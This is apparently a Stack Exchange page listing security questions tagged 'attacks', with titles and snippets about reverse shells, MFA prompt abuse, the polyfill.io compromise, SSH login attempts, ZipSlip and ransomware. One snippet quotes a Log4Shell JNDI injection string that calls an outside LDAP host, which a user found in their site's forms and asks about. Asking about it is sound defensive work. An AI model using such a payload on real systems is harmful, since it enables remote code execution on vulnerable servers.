Skip to main content

Questions tagged [attacks]

An attempt to exploit a weakness in a system, either for nefarious or research reasons. Questions with this tag should be about designing, carrying out, or defending against the attack itself, rather than about the underlying weakness.

Filter by
Sorted by
Tagged with
1 vote
0 answers
32 views

Getting reverse shell as another user

I'm performing Overpass the hash attack @ CompTIA Pentest+ > Attacks and Exploits > Lateral Movement and Pivoting > Task 3 > Let's Get to Work! I dumped Key of my target user: t1_toby.beck ...
Aryan's user avatar
  • 61
1 vote
0 answers
38 views

Laser pulse/injection attacks, Xray inspection, Test-based(like JTAG scan chain) attacks, Microprobing attacks... are these invasive or non-invasive?

Laser pulse/injection attacks, Xray inspection, Test-based(like JTAG scan chain) attacks, Microprobing attacks... are these invasive or non-invasive? Just curiosity. I don't know how to categorize. My ...
allexj's user avatar
  • 129
0 votes
1 answer
476 views

Is polyfill.io still an immediate threat?

Polyfill.io is malicious: https://dev.to/snyk/polyfill-supply-chain-attack-embeds-malware-in-javascript-cdn-assets-55d6 https://www.sonatype.com/blog/polyfill.io-supply-chain-attack-hits-100000-...
telion's user avatar
  • 111
1 vote
0 answers
93 views

Attack against MFA: attacker triggering MFA prompt at the same time user is doing a legitimate transaction requiring MFA

Is there a name for this kind of attack against Multi-Factor Authentication: Attacker is in possession of a user login and password, and is able to trigger a transaction or login which requires MFA ...
Guillaume's user avatar
  • 220
0 votes
0 answers
31 views

Conventions regarding Sysmon rules

Recently, I started researching the Blind Eagle attack and was also able to emulate it properly with the appended documentation. I would like to view data about it in my Splunk and Wazuh dashboards. ...
Aka's user avatar
  • 1
0 votes
0 answers
75 views

AWS Key stolen out of Github Actions / Secret Store

Do you have an idea how my AWS credentials could be stolen in the following setup: A 4 weeks old GitHub organization with 5 repositories & AWS Account AWS CI User Credentials with Administration ...
user1845948's user avatar
25 votes
5 answers
9k views

Should I be worried about unusual SSH login attempts from unknown IP addresses?

I've been monitoring my server's SSH logs and noticed a steady stream of login attempts from unknown IP addresses, mostly from different countries. Heaps and heaps of account names are tried, and with ...
security_paranoid's user avatar
0 votes
1 answer
125 views

Is it possible to trick a user into logging in to a site, then stealing a non HttpOnly cookie that will be set after they log in?

If a user has already logged in, and then the site sets a non HttpOnly cookie, then it seems possible to trick the user into doing something that would lead to the cookie being stolen. If the cookie ...
ETLJ's user avatar
  • 11
0 votes
0 answers
62 views

Can the state and nonce have the same value?

I understand the different purposes the two parameters serve, but is there anything speaking against the state and nonce parameters being the same string?
pfranjic's user avatar
0 votes
0 answers
151 views

How safe is it to run an un unpatched, internet-exposed OpenSSH service?

There have recently been several reported security issues with OpenSSH (Terrapin, double-frees, remote execution, X11 forwarding vulnerabilities..). How safe is it for a server to expose OpenSSH (...
benjimin's user avatar
  • 165
1 vote
2 answers
99 views

Is it possible for an attacker to change an email-attachment of a received email client-side and synchronize it via IMAP with Webmailer?

an attacker manipulated the IBAN of an invoice.pdf attached to a received email. The question remains, can said attacker manipulate/change such a pdf client-side and cause an IMAP synchronization with ...
frank's user avatar
  • 11
0 votes
2 answers
279 views

Kernel level attack?

In a Unix-like system, the concept of privileged and non-privileged users is used for security, preventing numerous attacks. When a non-privileged user executes malicious code at a normal level, the ...
Student's user avatar
  • 101
-1 votes
1 answer
255 views

Explain `${jndi:ldap://...}` spam(s)? [duplicate]

Some spammers keep filling each and every form-field with below: ${jndi:ldap://123.tgnndi.dnslog.cn/e} Maybe the $ part is supposed to trigger JQuery. What is this, is it a try to attack? If so, is ...
Top-Master's user avatar
0 votes
1 answer
117 views

Is ZipSlip possible in Java without two dots?

I'm testing a Java application that tries to prevent ZipSlip by simply checking whether the filename contains ".." or "./" Since it's not a web application, I guess encoding is not ...
Lucius's user avatar
  • 121
0 votes
0 answers
147 views

IP Address 47.128.16.39 has been going through our site for more than 4 days

This IP address has been going through everything - every image, every page. How can we know who this is and whether they are doing any harm? Is this abuse? Should we report this? If yes, to whom ...
emgee's user avatar
  • 1
0 votes
0 answers
72 views

What security issues could my system be exposed to via an unsecure memory card?

I'm working on an article that involves flash memory cards being put into machines that process and track sensitive information. The machines scan data from forms, then input the data into a database. ...
EstanciaLiberty's user avatar
3 votes
2 answers
1k views

CVSS3 score for XSS leading to account takeover

Let's say there is a XSS vulnerability in a web application. The XSS allows an attacker to hijack the user's session. Within the session, the attacker can view/modify the user's credit card and ...
mateleco's user avatar
  • 110
0 votes
1 answer
348 views

Is Certificate Pinning safe and worthwhile for an API server that will only accept requests from an android application?

I have hosted an api on an AWS Windows server, imported ssl certificates from a known CA, and made https mandatory. Then built a client app that is an executable, then pinned the public key hash for ...
Subham Burnwal's user avatar
1 vote
0 answers
95 views

MS-CHAPv2 Auth protocol downgrade

I'm researching about PPP (Point to Point protocol) and it's security aspects. While exploring PPP Authentication I've noticed possibility for security downgrade attack. Generally authentication ...
Zduniusz's user avatar
1 vote
2 answers
184 views

How to prevent attacks on a personal webserver

I'm currently working on some modules on hackthebox. In that regard, I recently set up a web service: sudo python3 -m http.server 8080 When I did a wget to my server, it showed up in the log as usual, ...
ojo's user avatar
  • 39
0 votes
0 answers
233 views

DoS attack in my home router's logs

I logged in to my router to try to figure out why my phone randomly keeps being unable to connect to my WiFi. I looked in the logs and saw 2 strange rows: [DoS attack: IP packet w/MC or BC SRC addr] ...
whatwhatwhat's user avatar
0 votes
1 answer
501 views

Getting a couple of remote login and calls into Ubuntu server?

I have a ubuntu server (Ubuntu 22.10 x64) on Digital Ocean. And I am using fastapi, uvicorn, gunicorn and nginx as I used it for my backend api calls from my frontend and my frontend IP is dynamic. ...
felix's user avatar
  • 1
0 votes
1 answer
237 views

Can a machine learning model contain malicious code?

As interest in machine learning grows, it is becoming common for people without a background in data science like myself, to grab models from sources such as HuggingFace and run them. Now my ...
Mendhak's user avatar
  • 103
1 vote
0 answers
800 views

How to prevent WPAD attack

We had a pentration test in our company. One of the recommendations was to disable WPAD (Windows Proxy Auto Discovery), LLMNR, NetBIOS. We have successfully disabled LLMNR by GPO, NetBIOS on DHCP as ...
rumcajs's user avatar
  • 11
0 votes
0 answers
1k views

How easy or difficult it is to exploit older SSL/TLS protocols?

Detection of outdated TLS/SSL protocols are one of the most common findings I have seen in many vulnerability scans and penetration testing reports. It is reported as a serious vulnerability too. ...
Sreeraj's user avatar
  • 1,355
0 votes
0 answers
747 views

UDP Port Scan Attack from a previously used IP address

Yesterday my internet connection is interrupted and I checked the logs. In logs, I saw 2 UDP Port Scan Attack happened a week ago. After a little bit of research, I convinced myself that it is common ...
mzt's user avatar
  • 1
0 votes
1 answer
133 views

icmp smurf attack

I am learning about ICMP smurf attack and for this, I have forged a packet with the following details: source_mac_address = **??** destination_mac_address = router mac address char ...
Rajat Aggarwal's user avatar
1 vote
1 answer
2k views

How to decrypt LockBit encrypted files

I've got an emergency on my PC. I remotely connected to it using Remote Desktop Connection a couple of days ago and I worked on my PC for a while and logged off. Later, when I went to log back on, I ...
ThrownRedstone's user avatar
0 votes
0 answers
125 views

How exactly are hidraw 'Billboard' devices interrogated?

I have some USBHub ( Ethernet + HDMI + USB + VGA). When it doesn't have anything connected it exposes to Linux operating system device: 'hiddev0, hidraw1' in opposite to HID mouse: which is visible as ...
nusch's user avatar
  • 47
0 votes
1 answer
455 views

Does core isolation protect me against malware?

Does Windows 11 core isolation protect me against malware or does it have nothing to do with it? For example, an unsophisticated hacker with metasploit, nmap, msvenom or tools like that could create ...
carlos navarrete's user avatar
0 votes
0 answers
131 views

Can rebooting a router clear any hacks done to it?

I manage a website for a club. I monitor the cPanel error logs to identify potential hackers that attempt to hack the website I maintain. Recently I have seen my IP address appear in the error logs ...
Darol's user avatar
  • 1
1 vote
0 answers
123 views

Malicious httpd log entry

Besides some other hacking attempts, I am seeing the following kind of log entries in my Apache logs which I cannot fully understand. 5.188.x.x - - [10/Feb/2023:14:40:14 +0100] "GET http://5.188....
fuego's user avatar
  • 11
2 votes
1 answer
363 views

Which attack is more dangerous: Evil Twin or ARP spoofing?

I'm learning about the Evil Twin and ARP Spoofing attacks performed by an attacker on the same WPA2-PSK protected wireless network and wanted to know which one would be more impactful since both of ...
scottstots's user avatar
0 votes
0 answers
133 views

Technical details behind how a malware-infected device infects other devices on the same network?

I'm a security student and for one of my projects, I'm trying to learn the technical details behind a malware-infected device infecting other devices on the same network. I can see so much content ...
scottstots's user avatar
1 vote
0 answers
100 views

Can an attacker steal one's credentials if they never ask for it? [closed]

Can a website that never asks for one's credentials still steal one's credentials? If yes, how?
Allure's user avatar
  • 499
1 vote
1 answer
1k views

What are these http requests trying to break?

I recently started receiving some really strange http traffic, and I'd like to understand what it's trying to do. Some of it seems like sql injection attempts, but the strings are appearing in the ...
ConfusedHost's user avatar
0 votes
1 answer
509 views

Can a simcard's public IP be accessed?

I am in a discussion with someone about IoT devices. We use private IPs for simcards, but the other organisation is using public IPs. I think it is possible for a hacker to access these public IPs to ...
Iot_Engineer's user avatar
0 votes
0 answers
44 views

There's malware on my machine and I can't find it [duplicate]

I just had a rather alarming experience. As I was sitting here doing something else, with my laptop open, logged in (Windows 10) but not in use, with Chrome open, I noticed some activity out of the ...
Jason C's user avatar
  • 273
3 votes
1 answer
1k views

Where can I find the launcher for this virus that uses Powershell?

On my Windows 10 PC after about 30 minutes of being turned on I always get a powershell window that immediately hides and consumes a lot of RAM. So I went to the powershell directory: "C:\Windows\...
Willy's user avatar
  • 31
0 votes
3 answers
314 views

Can the microsoft basic optical mouse be modified to contain spyware or a keylogger if the attacker had physical access to the mouse? [duplicate]

I was given a mouse by someone who now i realized would want to hack me. It is the Microsoft basic optical mouse v2.0. Can this mouse be modified to inject spyware and malware onto my laptop?
Ashley's user avatar
  • 1
0 votes
1 answer
166 views

Can an attacker flip bits of a signature to create DoS?

Assume two parties communicating. A sends a message to B signed with its private key. B received the message and verify it using the public key of A. Can an attacker launch a DoS attack by flipping ...
lll's user avatar
  • 13
1 vote
1 answer
152 views

Have I been attacked?

This may be a dumb issue, but I have no other way to find out. At some point I was sent a facebook message from someone with a name of a person I knew, who wrote something along the lines "haha I ...
Leviathan's user avatar
  • 113
6 votes
4 answers
1k views

How can non-root intercept privileged loopback ports?

Please walk through how an attacker can intercept Chrome's connection to 127.0.0.1:999, as suggested by the warning below. This warning is consitently displayed across many versions of Chrome in many ...
personal_cloud's user avatar
1 vote
0 answers
169 views

Implement Replay attacks in python [closed]

For an assignment I have to implement a proof of concept and (optionally attack it). The part of OCSP is working so far. I have a client that sends the request to a server, the server verifies if the ...
Z123's user avatar
  • 11
1 vote
3 answers
585 views

Understanding FDE: Is the encrypted Linux protected against a compromised boot volume?

I use this initramfs-based FDE on my headless server. My motivation is to secure my system against physical tampering. I am aware that securing an untrusted hardware is not possible. This question is ...
pico_prob's user avatar
  • 113
2 votes
1 answer
173 views

I using sha256 after adding a secret enough if the message includes its length?

I've been reading about HMAC protecting from length extension attacks, but if the message already specifies it size, is HMAC adding any advantange to simple hashing after prepending a secret? As ...
6502's user avatar
  • 123
0 votes
0 answers
102 views

Attack using the same scope names within differents api resources with OpenID Connect / OAuth2

Assume that we have a client X and client Y. There's also api resources: api-resource-1 and api-resource-2, and api scopes: test.read and test.write. Client X is allowed to test.read within api-...
Szyszka947's user avatar
5 votes
3 answers
5k views

Man in the middle Attack, possible even with CA certificate and assymetric encryption

So I read something about SSL/TLS and I always don't understand two things. First, why so many of the comments are still saying that just because the attacker doesn't have the private key, a MiM ...
Koala's user avatar
  • 53
1 vote
1 answer
81 views

Are there HTTP/2 specific attacks different from request smuggling?

I'm researching information about HTTP/2 from a cybersecurity point of view for an article, and i wanted to include a section about attacks exclusive to HTTP/2 or were this protocol have a key role. I ...
kiratross's user avatar
2 votes
1 answer
199 views

Basically only 2 ways of npm supply chain attacks?

Almost every week you can read about attacks performed through compromised npm libraries. The npm ecosystem is vast and unmanageable and for it-sec people it is frustrating to deal with all the ...
user3240316's user avatar

1
2 3 4 5
26